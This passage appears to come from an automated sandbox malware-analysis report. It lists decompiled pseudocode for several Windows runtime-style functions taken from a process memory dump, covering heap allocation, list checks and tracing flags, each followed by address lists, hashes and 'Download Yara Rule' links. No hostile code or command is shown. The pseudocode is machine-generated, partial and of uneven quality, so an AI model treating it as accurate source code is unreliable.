					_t65 = _v8;
					goto L24;
				}
				_t61 = _t57;
				_push( &_v12);
				_t66 = 0x10;
				if(E03C7E5E0(_t57, _t66) < 0) {
					return 0x216;
				}
				_t73 = L03C64620(_t61,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v12);
				if(_t73 == 0) {
					_t38 = 0xe;
					return _t38;
				}
				_t9 = _t73 + 0x10; // 0x10
				 *((intOrPtr*)(_t73 + 0xc)) = _t57;
				E03C8F3E0(_t9, _v8, _t57);
				_t41 =  *_t70;
				if( *((intOrPtr*)(_t41 + 4)) != _t70) {
					_t62 = 3;
					asm("int 0x29");
					_push(_t62);
					_push(_t57);
					_push(_t73);
					_push(_t70);
					_t71 = _t62;
					_t74 = 0;
					_v36 = 0;
					_t63 = E03C7A2F0(_t62, _t71, 1, 6,  &_v36);
					if(_t63 == 0) {
						L20:
						_t44 = 0x57;
						return _t44;
					}
					_t45 = _v12;
					_t58 = 0x1c;
					if(_t45 < _t58) {
						goto L20;
					}
					_t69 = _t45 / _t58;
					if(_t69 == 0) {
						L19:
						return 0xe8;
					}
					_t59 = _v0;
					do {
						if( *((intOrPtr*)(_t63 + 0xc)) != 2) {
							goto L18;
						}
						_t49 =  *((intOrPtr*)(_t63 + 0x14)) + _t71;
						 *_t59 = _t49;
						if( *_t49 != 0x53445352) {
							goto L18;
						}
						 *_a4 =  *((intOrPtr*)(_t63 + 0x10));
						return 0;
						L18:
						_t63 = _t63 + 0x1c;
						_t74 = _t74 + 1;
					} while (_t74 < _t69);
					goto L19;
				}
				 *_t73 = _t41;
				 *((intOrPtr*)(_t73 + 4)) = _t70;
				 *((intOrPtr*)(_t41 + 4)) = _t73;
				 *_t70 = _t73;
				 *(_v16 + 0xdc) =  *(_v16 + 0xdc) | 0x00000010;
				return 0;
			}

0x03c890af
0x03c890b8
0x03c890bb
0x03c890bf
0x03c890c2
0x03c890c2
0x03c890c8
0x03c890cb
0x03c890cd
0x03cc14d7
0x03cc14eb
0x03cc14eb
0x00000000
0x03cc14eb
0x03cc14db
0x03cc14e6
0x00000000
0x03cc14f2
0x03cc14e8
0x00000000
0x03cc14e8
0x03c890d8
0x03c890da
0x03c890dd
0x03c890e5
0x00000000
0x03c89139
0x03c890fa
0x03c890fe
0x03c89142
0x00000000
0x03c89142
0x03c89104
0x03c89107
0x03c8910b
0x03c89110
0x03c89118
0x03c89147
0x03c89148
0x03c8914f
0x03c89150
0x03c89151
0x03c89152
0x03c89156
0x03c8915d
0x03c89160
0x03c89168
0x03c8916c
0x03c891bc
0x03c891be
0x00000000
0x03c891be
0x03c8916e
0x03c89173
0x03c89176
0x00000000
0x00000000
0x03c8917c
0x03c89180
0x03c891b5
0x00000000
0x03c891b5
0x03c89182
0x03c89185
0x03c89189
0x00000000
0x00000000
0x03c8918e
0x03c89190
0x03c89198
0x00000000
0x00000000
0x03c891a0
0x00000000
0x03c891ad
0x03c891ad
0x03c891b0
0x03c891b1
0x00000000
0x03c89185
0x03c8911a
0x03c8911c
0x03c8911f
0x03c89125
0x03c89127
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
Instruction ID: 327efc212029a848215500f27e2a3075664472480c7617aeb15fa6e48fecf2c4
Opcode Fuzzy Hash: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
Instruction Fuzzy Hash: 35218375A04304EFDB21EF59C444AAAF7F8EB44754F15846AE946EB200D331EE40DB50

Uniqueness

Uniqueness Score: -1.00%

Function 03C73B7A, Relevance: .1, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E03C73B7A(void* __ecx) {
				signed int _v8;
				char _v12;
				intOrPtr _v20;
				intOrPtr _t17;
				intOrPtr _t26;
				void* _t35;
				void* _t38;
				void* _t41;
				intOrPtr _t44;

				_t17 =  *0x3d384c4; // 0x0
				_v12 = 1;
				_v8 =  *0x3d384c0 * 0x4c;
				_t41 = __ecx;
				_t35 = L03C64620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t17 + 0x000c0000 | 0x00000008,  *0x3d384c0 * 0x4c);
				if(_t35 == 0) {
					_t44 = 0xc0000017;
				} else {
					_push( &_v8);
					_push(_v8);
					_push(_t35);
					_push(4);
					_push( &_v12);
					_push(0x6b);
					_t44 = E03C8AA90();
					_v20 = _t44;
					if(_t44 >= 0) {
						E03C8FA60( *((intOrPtr*)(_t41 + 0x20)), 0,  *0x3d384c0 * 0xc);
						_t38 = _t35;
						if(_t35 < _v8 + _t35) {
							do {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t38 = _t38 +  *((intOrPtr*)(_t38 + 4));
							} while (_t38 < _v8 + _t35);
							_t44 = _v20;
						}
					}
					_t26 =  *0x3d384c4; // 0x0
					L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t26 + 0xc0000, _t35);
				}
				return _t44;
			}

0x03c73b89
0x03c73b96
0x03c73ba1
0x03c73bab
0x03c73bb5
0x03c73bb9
0x03cb6298
0x03c73bbf
0x03c73bc2
0x03c73bc3
0x03c73bc9
0x03c73bca
0x03c73bcc
0x03c73bcd
0x03c73bd4
0x03c73bd6
0x03c73bdb
0x03c73bea
0x03c73bf7
0x03c73bfb
0x03c73bff
0x03c73c09
0x03c73c0a
0x03c73c0b
0x03c73c0f
0x03c73c14
0x03c73c18
0x03c73c18
0x03c73bfb
0x03c73c1b
0x03c73c30
0x03c73c30
0x03c73c3d

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd087c6dfa434c0e569f8d5f9e71d4bff4f724609fe6aca1a07c095a1522bbc3
Instruction ID: fb1f7a433e6f2f7e8b8594fe114273fb0a876f8cbd77cb3835d4e856d5c9d5d9
Opcode Fuzzy Hash: cd087c6dfa434c0e569f8d5f9e71d4bff4f724609fe6aca1a07c095a1522bbc3
Instruction Fuzzy Hash: B921CFB2A00208AFC700EF58DD81B9AB7BDFB40748F150168E909EB251C371EE05EBD0

Uniqueness

Uniqueness Score: -1.00%

Function 03CC6CF0, Relevance: .1, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E03CC6CF0(void* __edx, intOrPtr _a4, short _a8) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v28;
				char _v36;
				char _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char* _t21;
				void* _t24;
				void* _t36;
				void* _t38;
				void* _t46;

				_push(_t36);
				_t46 = __edx;
				_v12 = 0;
				_v8 = 0;
				_v20 = 0;
				_v16 = 0;
				if(E03C67D50() == 0) {
					_t21 = 0x7ffe0384;
				} else {
					_t21 = ( *[fs:0x30])[0x50] + 0x22a;
				}
				if( *_t21 != 0) {
					_t21 =  *[fs:0x30];
					if((_t21[0x240] & 0x00000004) != 0) {
						if(E03C67D50() == 0) {
							_t21 = 0x7ffe0385;
						} else {
							_t21 = ( *[fs:0x30])[0x50] + 0x22b;
						}
						if(( *_t21 & 0x00000020) != 0) {
							_t56 = _t46;
							if(_t46 == 0) {
								_t46 = 0x3c25c80;
							}
							_push(_t46);
							_push( &_v12);
							_t24 = E03C7F6E0(_t36, 0, _t46, _t56);
							_push(_a4);
							_t38 = _t24;
							_push( &_v28);
							_t21 = E03C7F6E0(_t38, 0, _t46, _t56);
							if(_t38 != 0) {
								if(_t21 != 0) {
									E03CC7016(_a8, 0, 0, 0,  &_v36,  &_v28);
									L03C62400( &_v52);
								}
								_t21 = L03C62400( &_v28);
							}
						}
					}
				}
				return _t21;
			}

0x03cc6cfb
0x03cc6d00
0x03cc6d02
0x03cc6d06
0x03cc6d0a
0x03cc6d0e
0x03cc6d19
0x03cc6d2b
0x03cc6d1b
0x03cc6d24
0x03cc6d24
0x03cc6d33
0x03cc6d39
0x03cc6d46
0x03cc6d4f
0x03cc6d61
0x03cc6d51
0x03cc6d5a
0x03cc6d5a
0x03cc6d69
0x03cc6d6b
0x03cc6d6d
0x03cc6d6f
0x03cc6d6f
0x03cc6d74
0x03cc6d79
0x03cc6d7a
0x03cc6d7f
0x03cc6d82
0x03cc6d88
0x03cc6d89
0x03cc6d90
0x03cc6d94
0x03cc6da7
0x03cc6db1
0x03cc6db1
0x03cc6dbb
0x03cc6dbb
0x03cc6d90
0x03cc6d69
0x03cc6d46
0x03cc6dc6

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e5307ded08e3950a9fb80dacffb7058d45e3aa36485bcdbf98aa53dc5e175d5
Instruction ID: 31b203bf92a056334be27cfec76ed822d80eda402236e965e60ba71baa578da0
Opcode Fuzzy Hash: 6e5307ded08e3950a9fb80dacffb7058d45e3aa36485bcdbf98aa53dc5e175d5
Instruction Fuzzy Hash: E321F5725107849BC311EF29CA44B67F7ECEF81644F0D095AF940DB251E734CA18C6A2

Uniqueness

Uniqueness Score: -1.00%

Function 03D1070D, Relevance: .1, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E03D1070D(signed int* __ecx, signed int __edx, void* __eflags, signed int _a4, signed int _a8) {
				char _v8;
				intOrPtr _v11;
				signed int _v12;
				intOrPtr _v15;
				signed int _v16;
				intOrPtr _v28;
				void* __ebx;
				char* _t32;
				signed int* _t38;
				signed int _t60;

				_t38 = __ecx;
				_v16 = __edx;
				_t60 = E03D107DF(__ecx, __edx,  &_a4,  &_a8, 2);
				if(_t60 != 0) {
					_t7 = _t38 + 0x38; // 0x29cd5903
					_push( *_t7);
					_t9 = _t38 + 0x34; // 0x6adeeb00
					_push( *_t9);
					_v12 = _a8 << 0xc;
					_t11 = _t38 + 4; // 0x5de58b5b
					_push(0x4000);
					_v8 = (_a4 << 0xc) + (_v16 - ( *__ecx & _v16) >> 4 <<  *_t11) + ( *__ecx & _v16);
					E03D0AFDE( &_v8,  &_v12);
					E03D11293(_t38, _v28, _t60);
					if(E03C67D50() == 0) {
						_t32 = 0x7ffe0380;
					} else {
						_t32 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t32 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						_t21 = _t38 + 0x3c; // 0xc3595e5f
						E03D014FB(_t38,  *_t21, _v11, _v15, 0xd);
					}
				}
				return  ~_t60;
			}

0x03d1071b
0x03d10724
0x03d10734
0x03d10738
0x03d1074b
0x03d1074b
0x03d10753
0x03d10753
0x03d10759
0x03d1075d
0x03d10774
0x03d10779
0x03d1077d
0x03d10789
0x03d10795
0x03d107a7
0x03d10797
0x03d107a0
0x03d107a0
0x03d107af
0x03d107c4
0x03d107cd
0x03d107cd
0x03d107af
0x03d107dc

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16b9495bd7cfc8dc207f06a58ad33f13931981def28ffdf8d69df6cf9eebd83e
Instruction ID: 6ac95522eb197e0037adab89ab490e7e377cb2244008b12019f31700f52d71ef
Opcode Fuzzy Hash: 16b9495bd7cfc8dc207f06a58ad33f13931981def28ffdf8d69df6cf9eebd83e
Instruction Fuzzy Hash: 6E21043A204304AFD705EF28D880B6ABBA5EFC4750F088569F9958F381D730D959CB91

Uniqueness

Uniqueness Score: -1.00%

Function 03CC7794, Relevance: .1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E03CC7794(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, unsigned int _a8, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _t21;
				void* _t24;
				intOrPtr _t25;
				void* _t36;
				short _t39;
				signed char* _t42;
				unsigned int _t46;
				void* _t50;

				_push(__ecx);
				_push(__ecx);
				_t21 =  *0x3d37b9c; // 0x0
				_t46 = _a8;
				_v12 = __edx;
				_v8 = __ecx;
				_t4 = _t46 + 0x2e; // 0x2e
				_t36 = _t4;
				_t24 = L03C64620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t21 + 0x180000, _t36);
				_t50 = _t24;
				if(_t50 != 0) {
					_t25 = _a4;
					if(_t25 == 5) {
						L3:
						_t39 = 0x14b1;
					} else {
						_t39 = 0x14b0;
						if(_t25 == 6) {
							goto L3;
						}
					}
					 *((short*)(_t50 + 6)) = _t39;
					 *((intOrPtr*)(_t50 + 0x28)) = _t25;
					_t11 = _t50 + 0x2c; // 0x2c
					 *((intOrPtr*)(_t50 + 0x20)) = _v8;
					 *((intOrPtr*)(_t50 + 0x24)) = _v12;
					E03C8F3E0(_t11, _a12, _t46);
					 *((short*)(_t50 + 0x2c + (_t46 >> 1) * 2)) = 0;
					if(E03C67D50() == 0) {
						_t42 = 0x7ffe0384;
					} else {
						_t42 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					_push(_t50);
					_t19 = _t36 - 0x20; // 0xe
					_push(0x403);
					_push( *_t42 & 0x000000ff);
					E03C89AE0();
					_t24 = L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t50);
				}
				return _t24;
			}

0x03cc7799
0x03cc779a
0x03cc779b
0x03cc77a3
0x03cc77ab
0x03cc77ae
0x03cc77b1
0x03cc77b1
0x03cc77bf
0x03cc77c4
0x03cc77c8
0x03cc77ce
0x03cc77d4
0x03cc77e0
0x03cc77e0
0x03cc77d6
0x03cc77d6
0x03cc77de
0x00000000
0x00000000
0x03cc77de
0x03cc77e5
0x03cc77f0
0x03cc77f3
0x03cc77f6
0x03cc77fd
0x03cc7800
0x03cc780c
0x03cc7818
0x03cc782b
0x03cc781a
0x03cc7823
0x03cc7823
0x03cc7830
0x03cc7831
0x03cc7838
0x03cc783d
0x03cc783e
0x03cc784f
0x03cc784f
0x03cc785a

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 464471ff42ee9eb522d9edbb085f55f544b197b45c1e7b12b24744e822ab1750
Instruction ID: 68bdde3b6cd4492af4d22084245e28f819fa411ff6848bb600669eead84eb44e
Opcode Fuzzy Hash: 464471ff42ee9eb522d9edbb085f55f544b197b45c1e7b12b24744e822ab1750
Instruction Fuzzy Hash: AD21DE72910644AFC725DF69D880EABB7B8FF48340F14056DF60ADB750D634EA00CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 03C6AE73, Relevance: .1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E03C6AE73(intOrPtr __ecx, void* __edx) {
				intOrPtr _v8;
				void* _t19;
				char* _t22;
				signed char* _t24;
				intOrPtr _t25;
				intOrPtr _t27;
				void* _t31;
				intOrPtr _t36;
				char* _t38;
				signed char* _t42;

				_push(__ecx);
				_t31 = __edx;
				_v8 = __ecx;
				_t19 = E03C67D50();
				_t38 = 0x7ffe0384;
				if(_t19 != 0) {
					_t22 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t22 = 0x7ffe0384;
				}
				_t42 = 0x7ffe0385;
				if( *_t22 != 0) {
					if(E03C67D50() == 0) {
						_t24 = 0x7ffe0385;
					} else {
						_t24 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t24 & 0x00000010) != 0) {
						goto L17;
					} else {
						goto L3;
					}
				} else {
					L3:
					_t27 = E03C67D50();
					if(_t27 != 0) {
						_t27 =  *[fs:0x30];
						_t38 =  *((intOrPtr*)(_t27 + 0x50)) + 0x22a;
					}
					if( *_t38 != 0) {
						_t27 =  *[fs:0x30];
						if(( *(_t27 + 0x240) & 0x00000004) == 0) {
							goto L5;
						}
						_t27 = E03C67D50();
						if(_t27 != 0) {
							_t27 =  *[fs:0x30];
							_t42 =  *((intOrPtr*)(_t27 + 0x50)) + 0x22b;
						}
						if(( *_t42 & 0x00000020) != 0) {
							L17:
							_t25 = _v8;
							_t36 = 0;
							if(_t25 != 0) {
								_t36 =  *((intOrPtr*)(_t25 + 0x18));
							}
							_t27 = E03CC7794( *((intOrPtr*)(_t31 + 0x18)), _t36,  *((intOrPtr*)(_t31 + 0x94)),  *(_t31 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_t31 + 0x28)));
						}
						goto L5;
					} else {
						L5:
						return _t27;
					}
				}
			}

0x03c6ae78
0x03c6ae7c
0x03c6ae7e
0x03c6ae81
0x03c6ae86
0x03c6ae8d
0x03cb2691
0x03c6ae93
0x03c6ae93
0x03c6ae93
0x03c6ae98
0x03c6ae9d
0x03cb26a2
0x03cb26b4
0x03cb26a4
0x03cb26ad
0x03cb26ad
0x03cb26b9
0x00000000
0x03cb26bb
0x00000000
0x03cb26bb
0x03c6aea3
0x03c6aea3
0x03c6aea3
0x03c6aeaa
0x03cb26c0
0x03cb26c9
0x03cb26c9
0x03c6aeb3
0x03cb26d4
0x03cb26e1
0x00000000
0x00000000
0x03cb26e7
0x03cb26ee
0x03cb26f0
0x03cb26f9
0x03cb26f9
0x03cb2702
0x03cb2708
0x03cb2708
0x03cb270b
0x03cb270f
0x03cb2711
0x03cb2711
0x03cb2725
0x03cb2725
0x00000000
0x03c6aeb9
0x03c6aeb9
0x03c6aebf
0x03c6aebf
0x03c6aeb3

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 892ffc7d7f960dfab719e72e37e7183e7cc58ff0f898e4f283d94cb5f6144d78
Instruction ID: 01be75401173eb7ed04394e2eaa94d94db7aca698be63a9913a6ca1a3e79b6b4
Opcode Fuzzy Hash: 892ffc7d7f960dfab719e72e37e7183e7cc58ff0f898e4f283d94cb5f6144d78
Instruction Fuzzy Hash: 8B21D475A016809FE726DB69C984B6977F8EF44244F1E08E0DD04DF692D734DD50C690

Uniqueness

Uniqueness Score: -1.00%

Function 03C7FD9B, Relevance: .1, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E03C7FD9B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				intOrPtr _v8;
				void* _t19;
				intOrPtr _t29;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t37;
				intOrPtr* _t40;

				_t35 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t37 = 0;
				_v8 = __edx;
				_t29 = __ecx;
				if( *((intOrPtr*)( *[fs:0x18] + 0xfbc)) != 0) {
					_t40 =  *((intOrPtr*)( *[fs:0x18] + 0xfbc));
					L3:
					_t19 = _a4 - 4;
					if(_t19 != 0) {
						if(_t19 != 1) {
							L7:
							return _t37;
						}
						if(_t35 == 0) {
							L11:
							_t37 = 0xc000000d;
							goto L7;
						}
						if( *((intOrPtr*)(_t40 + 4)) != _t37) {
							L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t37,  *((intOrPtr*)(_t40 + 4)));
							_t35 = _v8;
						}
						 *((intOrPtr*)(_t40 + 4)) = _t35;
						goto L7;
					}
					if(_t29 == 0) {
						goto L11;
					}
					_t32 =  *_t40;
					if(_t32 != 0) {
						 *((intOrPtr*)(_t29 + 0x20)) =  *((intOrPtr*)(_t32 + 0x20));
						E03C576E2( *_t40);
					}
					 *_t40 = _t29;
					goto L7;
				}
				_t40 = L03C64620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 8);
				if(_t40 == 0) {
					_t37 = 0xc0000017;
					goto L7;
				}
				_t35 = _v8;
				 *_t40 = 0;
				 *((intOrPtr*)(_t40 + 4)) = 0;
				 *((intOrPtr*)( *[fs:0x18] + 0xfbc)) = _t40;
				goto L3;
			}

0x03c7fd9b
0x03c7fda0
0x03c7fda1
0x03c7fdab
0x03c7fdad
0x03c7fdb0
0x03c7fdb8
0x03c7fe0f
0x03c7fde6
0x03c7fde9
0x03c7fdec
0x03cbc0c0
0x03c7fdfe
0x03c7fe06
0x03c7fe06
0x03cbc0c8
0x03c7fe2d
0x03c7fe2d
0x00000000
0x03c7fe2d
0x03cbc0d1
0x03cbc0e0
0x03cbc0e5
0x03cbc0e5
0x03cbc0e8
0x00000000
0x03cbc0e8
0x03c7fdf4
0x00000000
0x00000000
0x03c7fdf6
0x03c7fdfa
0x03c7fe1a
0x03c7fe1f
0x03c7fe1f
0x03c7fdfc
0x00000000
0x03c7fdfc
0x03c7fdcc
0x03c7fdd0
0x03c7fe26
0x00000000
0x03c7fe26
0x03c7fdd8
0x03c7fddb
0x03c7fddd
0x03c7fde0
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bea69b06ccd41e2ab95b3552422c6337f6d423ba3d9b45e75fab26429da45353
Instruction ID: 9c7f650bbb8a7b7897b9b012db627ae9400e67719941cbb416f043daabc4394b
Opcode Fuzzy Hash: bea69b06ccd41e2ab95b3552422c6337f6d423ba3d9b45e75fab26429da45353
Instruction Fuzzy Hash: 92217972A00A40DBD735CF4AC580E66F7E9EBA8B10F29857EE949CB610D730AD00DB90

Uniqueness

Uniqueness Score: -1.00%

Function 03C7B390, Relevance: .1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E03C7B390(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				signed char _t12;
				signed int _t16;
				signed int _t21;
				void* _t28;
				signed int _t30;
				signed int _t36;
				signed int _t41;

				_push(__ecx);
				_t41 = _a4 + 0xffffffb8;
				E03C62280(_t12, 0x3d38608);
				 *(_t41 + 0x34) =  *(_t41 + 0x34) - 1;
				asm("sbb edi, edi");
				_t36 =  !( ~( *(_t41 + 0x34))) & _t41;
				_v8 = _t36;
				asm("lock cmpxchg [ebx], ecx");
				_t30 = 1;
				if(1 != 1) {
					while(1) {
						_t21 = _t30 & 0x00000006;
						_t16 = _t30;
						_t28 = (0 | _t21 == 0x00000002) * 4 - 1 + _t30;
						asm("lock cmpxchg [edi], esi");
						if(_t16 == _t30) {
							break;
						}
						_t30 = _t16;
					}
					_t36 = _v8;
					if(_t21 == 2) {
						_t16 = E03C800C2(0x3d38608, 0, _t28);
					}
				}
				if(_t36 != 0) {
					_t16 = L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t36);
				}
				return _t16;
			}

0x03c7b395
0x03c7b3a2
0x03c7b3a5
0x03c7b3aa
0x03c7b3b2
0x03c7b3ba
0x03c7b3bd
0x03c7b3c0
0x03c7b3c4
0x03c7b3c9
0x03cba3e9
0x03cba3ed
0x03cba3f0
0x03cba3ff
0x03cba403
0x03cba409
0x00000000
0x00000000
0x03cba40b
0x03cba40b
0x03cba40f
0x03cba415
0x03cba423
0x03cba423
0x03cba415
0x03c7b3d1
0x03c7b3e8
0x03c7b3e8
0x03c7b3d9

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5d307866e9ab14b9fec634cfbb4b7677c10fa63d6149bad9075fb2f1d6e6a9d
Instruction ID: 77dbf72be6a3c786b31c85cbe5d058e468083e8bc54c6244880aadcaa5270ba6
Opcode Fuzzy Hash: e5d307866e9ab14b9fec634cfbb4b7677c10fa63d6149bad9075fb2f1d6e6a9d
Instruction Fuzzy Hash: 73116B3B3452149BCB29DB158D81A6B736AEBC6330F29112DED16CB380CE35AD06D6D0

Uniqueness

Uniqueness Score: -1.00%

Function 03C49240, Relevance: .1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E03C49240(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t33;
				intOrPtr _t37;
				intOrPtr _t41;
				intOrPtr* _t46;
				void* _t48;
				intOrPtr _t50;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr _t62;
				intOrPtr _t65;
				void* _t66;
				void* _t68;

				_push(0xc);
				_push(0x3d1f708);
				E03C9D08C(__ebx, __edi, __esi);
				_t65 = __ecx;
				 *((intOrPtr*)(_t68 - 0x1c)) = __ecx;
				if( *(__ecx + 0x24) != 0) {
					_push( *(__ecx + 0x24));
					E03C895D0();
					 *(__ecx + 0x24) =  *(__ecx + 0x24) & 0x00000000;
				}
				L6();
				L6();
				_push( *((intOrPtr*)(_t65 + 0x28)));
				E03C895D0();
				_t33 =  *0x3d384c4; // 0x0
				L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t33 + 0xc0000,  *((intOrPtr*)(_t65 + 0x10)));
				_t37 =  *0x3d384c4; // 0x0
				L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t37 + 0xc0000,  *((intOrPtr*)(_t65 + 0x1c)));
				_t41 =  *0x3d384c4; // 0x0
				E03C62280(L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t41 + 0xc0000,  *((intOrPtr*)(_t65 + 0x20))), 0x3d386b4);
				 *(_t68 - 4) =  *(_t68 - 4) & 0x00000000;
				_t46 = _t65 + 0xe8;
				_t62 =  *_t46;
				_t60 =  *((intOrPtr*)(_t46 + 4));
				if( *((intOrPtr*)(_t62 + 4)) != _t46 ||  *_t60 != _t46) {
					_t61 = 3;
					asm("int 0x29");
					_push(_t65);
					_t66 = _t61;
					_t23 = _t66 + 0x14; // 0x8df8084c
					_push( *_t23);
					E03C895D0();
					_t24 = _t66 + 0x10; // 0x89e04d8b
					_push( *_t24);
					 *(_t66 + 0x38) =  *(_t66 + 0x38) & 0x00000000;
					_t48 = E03C895D0();
					 *(_t66 + 0x14) =  *(_t66 + 0x14) & 0x00000000;
					 *(_t66 + 0x10) =  *(_t66 + 0x10) & 0x00000000;
					return _t48;
				} else {
					 *_t60 = _t62;
					 *((intOrPtr*)(_t62 + 4)) = _t60;
					 *(_t68 - 4) = 0xfffffffe;
					E03C49325();
					_t50 =  *0x3d384c4; // 0x0
					return E03C9D0D1(L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t50 + 0xc0000, _t65));
				}
			}

0x03c49240
0x03c49242
0x03c49247
0x03c4924c
0x03c4924e
0x03c49255
0x03c49257
0x03c4925a
0x03c4925f
0x03c4925f
0x03c49266
0x03c49271
0x03c49276
0x03c49279
0x03c4927e
0x03c49295
0x03c4929a
0x03c492b1
0x03c492b6
0x03c492d7
0x03c492dc
0x03c492e0
0x03c492e6
0x03c492e8
0x03c492ee
0x03c49332
0x03c49333
0x03c49337
0x03c49338
0x03c4933a
0x03c4933a
0x03c4933d
0x03c49342
0x03c49342
0x03c49345
0x03c49349
0x03c4934e
0x03c49352
0x03c49357
0x03c492f4
0x03c492f4
0x03c492f6
0x03c492f9
0x03c49300
0x03c49306
0x03c49324
0x03c49324

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c6b0c9138639a79737ec7d75d85c074d5d7ac6d8e0cc90569fc2cf582f9e84bf
Instruction ID: ba69913aade4bedf25b24fb63264a8c93f6d8b2bb95b899c4f2848fb83dfe4d1
Opcode Fuzzy Hash: c6b0c9138639a79737ec7d75d85c074d5d7ac6d8e0cc90569fc2cf582f9e84bf
Instruction Fuzzy Hash: CD212C36051600EFC722EF68CA40F1AB7B9FF08704F164568E04ADAAA1D734EA45EB44

Uniqueness

Uniqueness Score: -1.00%

Function 03CD4257, Relevance: .1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E03CD4257(void* __ebx, void* __ecx, intOrPtr* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t18;
